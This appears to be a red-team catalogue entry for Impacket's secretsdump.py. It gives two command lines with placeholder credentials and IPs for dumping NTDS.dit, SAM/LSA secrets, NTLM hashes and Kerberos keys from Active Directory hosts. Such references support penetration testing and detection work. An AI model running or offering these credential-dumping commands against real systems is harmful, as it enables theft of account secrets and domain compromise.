Impacket-secretsdump

Impacket's secretsdump.py will perform various techniques to dump secrets from the remote machine without executing any agent. Techniques include reading SAM and LSA secrets from registries, dumping NTLM hashes, plaintext credentials, and kerberos keys, and dumping NTDS.dit. The following command will attempt to use the specified machines NTDS.dit and system file to extract the user account hashes associated with that machine. Command Reference: Target IP: 10.10.10.2 Domain Controller: 10.10.10.1 Domain: test.local Username: john Password: password123

python3 secretsdump.py -ntds C:\Windows\NTDS\ntds.dit -system C:\Windows\System32\Config\system -dc-ip 10.10.10.1 test.local/john:password123@10.10.10.2

Evidence

Upstream reference

Environment

Active Directory

Native

Exploitation

Requires

Password, Username

Services

Kerberos, NTLM

Refs

github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py

riccardoancarani.github.io/2020-05-10-hunting-for-impacket/#secretsdumppy

Impacket's secretsdump.py will perform various techniques to dump secrets from the remote machine without executing any agent. Techniques include reading SAM and LSA secrets from registries, dumping NTLM hashes, plaintext credentials, and kerberos keys, and dumping NTDS.dit. The following command will attempt to dump all secrets from the target machine using the previously mentioned techniques. Command Reference: Target IP: 10.10.10.1 Domain: test.local Username: john Password: password123

python3 secretsdump.py test.local/john:password123@10.10.10.1

Evidence

Upstream reference

Environment

Active Directory

Native

Exploitation

Requires

Password, Username

Services

Kerberos, NTLM

Refs

github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py

riccardoancarani.github.io/2020-05-10-hunting-for-impacket/#secretsdumppy